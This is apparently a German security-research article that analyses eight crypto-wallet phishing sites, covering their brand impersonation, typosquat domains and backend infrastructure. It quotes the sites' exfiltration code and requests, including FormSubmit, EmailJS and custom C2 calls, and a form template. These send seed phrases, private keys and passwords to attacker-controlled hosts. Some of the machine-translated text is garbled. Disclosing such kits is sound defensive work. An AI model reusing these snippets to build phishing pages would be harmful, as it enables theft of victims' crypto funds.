Anatomie des Krypto-Phishings:
8 echte Angriffe unter der Lupe

Identitätsbetrug

Ein fiktives „dezentrales Protokoll“ zur Wallet-Validierung. Verwendet Live-Kursticker von CryptoCompare und Links zu echten Blockchain-Explorern (Ethereum, BSC, Polygon, Avalanche, Solana, Cardano), um Glaubwürdigkeit zu vermitteln. Die Landingpage zeigt über 100 Wallet-Logos und einen dreistufigen „Validierungsprozess“.

Die doppelte Exfiltrationskette

Das ausgefeilteste Backend aller fünf – jede gestohlene Anmeldedaten wird über zwei unabhängige Kanäle gleichzeitig:

Victim submits seed phrase
  |
  +--> Channel 1: axios POST --> Express.js on Render.com
  |      |
  |      +--> Telegram Bot API --> @metatech2 (instant DM)
  |
  +--> Channel 2: fetch POST --> EmailJS API
         |
         +--> Bestgrace309@gmail.com (email backup)

OSINT-Ergebnisse

Identitätsbetrug

Eine pixelgenaue Nachbildung der Realität Aqualibre (AQLA) Seite zur Token-Migration. Der HTML-Code enthält ein Metadaten-Tag, das die Quelle angibt: data-scrapbook-source="https://token.aqla.app/migration", datiert auf den 19. November 2024.

Der Zero-Code-Ansatz

Für diesen Angriff sind folgende Voraussetzungen erforderlich: kein serverseitiger Code. Das Formular sendet die Daten direkt an Nicht statisch — ein legitimes Formular-Backend für statische Websites. Jede Eingabe wird an die E-Mail-Adresse des Betrügers weitergeleitet. Die E-Mail-Adresse des Angreifers lautet im Quellcode nie sichtbar.

<form action="https://forms.un-static.com/forms/c78173e2d991...94c3f76">
  <textarea name="phrase"></textarea>
  <input name="private-key" />
  <textarea name="keystore-json"></textarea>
  <input name="password" />
</form>

Identitätsbetrug

Die Subdomain enthält „safpal" — eine absichtliche falsche Schreibweise von SafePal, eine beliebte Hardware-Wallet. Die Website gibt sich als „Blockchain Wallet Rectification“ aus und enthält 26 gefälschte Themenkategorien. Sie nutzt Typed.js, um die Namen der Blockchains (Ethereum, BSC, Polygon…) zu animieren, sowie einen LiveCoinWatch-Ticker, um Glaubwürdigkeit zu vermitteln.

Gleiche Ausrüstung, gleicher Bediener?

Verwendet das genau dieselbe Phishing-Vorlage wie Standort Nr. 2: identisch connect.html, identisch wallets.html mit über 60 Logos, demselben Un-static-Backend (unterschiedliche Formular-IDs — 6f1b82c3...da9943af). Die identische Ausstattung lässt stark vermuten, dass ein Betreiber, der beide Standorte betreibt.

Fehler im Code: „Privay Policy“ (es fehlt ein „c“), „seperated“ (muss „separated“ heißen), „Kestore“ (es fehlt ein „y“). Das Passwortfeld verwendet type="text" anstatt type="password".

Identitätsbetrug

Ein nahezu perfekter Nachbau des Flare-Netzwerk Portal – eine echte Layer-1-EVM-Blockchain mit den Protokollen FTSO und Data Connector. Repliziert über 30 Ökosystempartner, die Navigation und das Branding. Favicons werden von einer Typosquat-Domain geladen: portal.flaremainet.com (ein „n“ fehlt in „mainnet“).

Doppelte Redundanz bei EmailJS

Die einzige Website, die zwei separate EmailJS-Konten gleichzeitig zur Redundanz gegen eine Abschaltung:

// Channel 1: EmailJS SDK
emailjs.send('service_6dt5h1k', 'template_hjqp9gb', payload)
// Key: Sza6lhzA9hKHrm1k4

// Channel 2: jQuery AJAX direct
$.ajax('https://api.emailjs.com/api/v1.0/email/send', {
  data: { service_id: 'service_isy47de',
          template_id: 'template_dkk4d1b',
          user_id: 'JsVEgXVcaSTro1etu' }
})

E-Mail-Betreff bei jedem Diebstahl: "New Wallet Details from Flare".

Website Nr. 4: Bezahlte Anzeigen, Analyse-Tracking und doppelte Datenexfiltration – die professionellste Operation

Identitätsbetrug

Ein generischer „COIN NODE“-/„Wallet Fix“-Dienst (keine bestimmte Marke). Copyright „Wallet Fix 2022“ – diese Kit-Vorlage ist mindestens 4 Jahre alt. Bilder gehostet auf pumpeth.com (WordPress auf AWS).

Phishing-as-a-Service

Die beunruhigendste Backend-Architektur: eine UUID-basierte Multi-Tenant-API:

POST https://api.pulseresolve.com/a26db20c-1dc4-4208-a60a-c2c3b22c02ef
Content-Type: multipart/form-data

wallet=Metamask&type=phrase&phrase=buddy+surprise+vapor+river+...

Jeder Betrüger erhält einen eigenen UUID-Endpunkt. Ein zentraler Betreiber verwaltet die API, verfolgt die Kampagnen und behält möglicherweise einen Anteil der gestohlenen Gelder ein. Dies ist industrialisierter Kryptodiebstahl — ein „Phishing-as-a-Service“-Modell.

Zugehörige Infrastruktur (größtenteils stillgelegt)

Identitätsbetrug

A zweigleisige Vorgehensweise: ein allgemeines „Support-Center“ unter wallet-support-39n.pages.dev mit 15 fiktiven Ausgabenkategorien und 39 Geldbörsenmarken sowie einer Pixelgenauer Klon des Ledger-Onboarding-Prozesses bei ledger-recovery.support auf Replit gehostet – komplett mit Auswahl des Gerätemodells, PIN-Einrichtung und einem Raster für die 24-Wort-Seed-Phrase mit Echte BIP39-Autovervollständigung.

Anti-Scanner-C2-Backend

Die Support-Seite der Wallet sendet gestohlene Daten an api.uranustoken.org/log — ein maßgeschneiderter nginx/Ubuntu-C2-Server hinter Cloudflare. Das Backend verwirft absichtlich alle GET-Anfragen (gibt den Fehlercode 522 „Timeout“ zurück) und reagiert nur auf POST-Anfragen. Das bedeutet, dass URL-Scanner, Crawler von Google Safe Browsing und Sicherheitsforscher, die den Endpunkt mit GET-Anfragen anpingen, nichts sehen – der C2-Server scheint nicht erreichbar zu sein.

// config.js — C2 config exposed in plaintext
const config = {
  serverURL: "https://api.uranustoken.org",
  allowedWallets: ["phantom","solfare","metamask","trustwallet",
    "coinbasewallet","ledger","trezor","okx","sui","backpack",
    "tonkeeper","magiceden","slush" /* + 26 more */]
};
window.IWMConfig = config;

// Exfiltration function (deobfuscated from bundle)
function Ae(seedPhrase, passPhrase, walletName) {
  fetch(serverURL + "/log", {
    method: "POST",
    headers: {"Content-Type": "application/json"},
    body: JSON.stringify({seedPhrase, passPhrase, walletName, apiKey})
  })
}

Der Ledger-Klon führt ein separates Express.js-Backend direkt auf Replit aus: POST /api/recovery-phrase Sammeln {deviceId, pin, phrase}. Es gibt Folgendes zurück 400 {"error":"Invalid data provided"} bei fehlerhaften Eingaben — um sicherzustellen, dass das Backend live und aktiv validiert gestohlene Daten.

OSINT-Ergebnisse

Identitätsbetrug

Ein generisches „dezentrales Launchpad“ mit 21 Köderkategorien (Staking, Migration, KYC, Gewinnspiel, Belohnungen einlösen, Wiederherstellung von Vermögenswerten, Vorverkauf, NFTs prägen, gesperrte Konten...) und Über 70 Geldbörsenmarken — eine der umfassendsten Wallet-Listen, die uns begegnet sind. Der verräterische Tippfehler „Sychronize“ (das fehlende „n“) entlarvt die Fälschung.

Die FormSubmit-Pipeline

Verwendungszwecke FormSubmit.co — ein seriöser Formular-zu-E-Mail-Dienst. Der Endpunkt-Hash a2cf4131f1a5d39453c7c183df96f86f ist ein MD5-Hash der E-Mail-Adresse des Betrügers. Wir haben Hunderte von E-Mail-Mustern bei Gmail, Yahoo, Hotmail, ProtonMail, Yandex und Mail.ru per Brute-Force-Angriff durchprobiert — kein Treffer. Der Betrüger verwendet eine ungewöhnliche oder zufällig generierte E-Mail-Adresse.

// Exfiltration via jQuery AJAX → FormSubmit → scammer email
$.ajax({
    url: "https://formsubmit.co/ajax/a2cf4131f1a5d39453c7c183df96f86f",
    method: "POST",
    dataType: "JSON",
    data: {
        dappWord: seedPhrase,       // THE STOLEN SEED PHRASE
        dappName: walletName,       // Which wallet was selected
        linkName: "DAPP DECENTRALIZED"  // Campaign identifier
    }
});

OSINT-Ergebnisse

Identitätsbetrug

Unbekannt – sowohl das Frontend als auch das Backend sind offline. Der Struktur der Nutzlast nach zu urteilen handelte es sich um einen Stealer für die Seed-Phrase einer Krypto-Wallet. Der Öffentlicher Cloudflare-R2-Bucket (Objektspeicher, nicht Pages) ist ein gut dokumentierter Phishing-Vektor mit über 5.000 identifizierten schädlichen Seiten und einem von Netskope gemeldeten 61-fachen Anstieg des Datenverkehrs.

Die „Script-Kiddie“-Konfiguration

Am meisten primitive Operation in dieser Sammlung. Die Seed-Phrasen werden gesendet Wort für Wort zu einem PHP-Skript, das auf einem Heimcomputer oder einem VPS hinter einem kostenlosen dynamischen DNS läuft:

POST mercifuljigga4real123.publicvm.com/fuc.php
Content-Type: application/x-www-form-urlencoded

pass=Word+1:+finger+%0AWord+2:+flag+%0AWord+3:+across
    +%0AWord+4:+admit+%0AWord+5:+weather+%0AWord+6:+fragile
    +%0AWord+7:+trick+%0AWord+8:+weekend+%0AWord+9:+gift
    +%0AWord+10:+grit+%0AWord+11:+borrow+%0AWord+12:+access

OSINT-Ergebnisse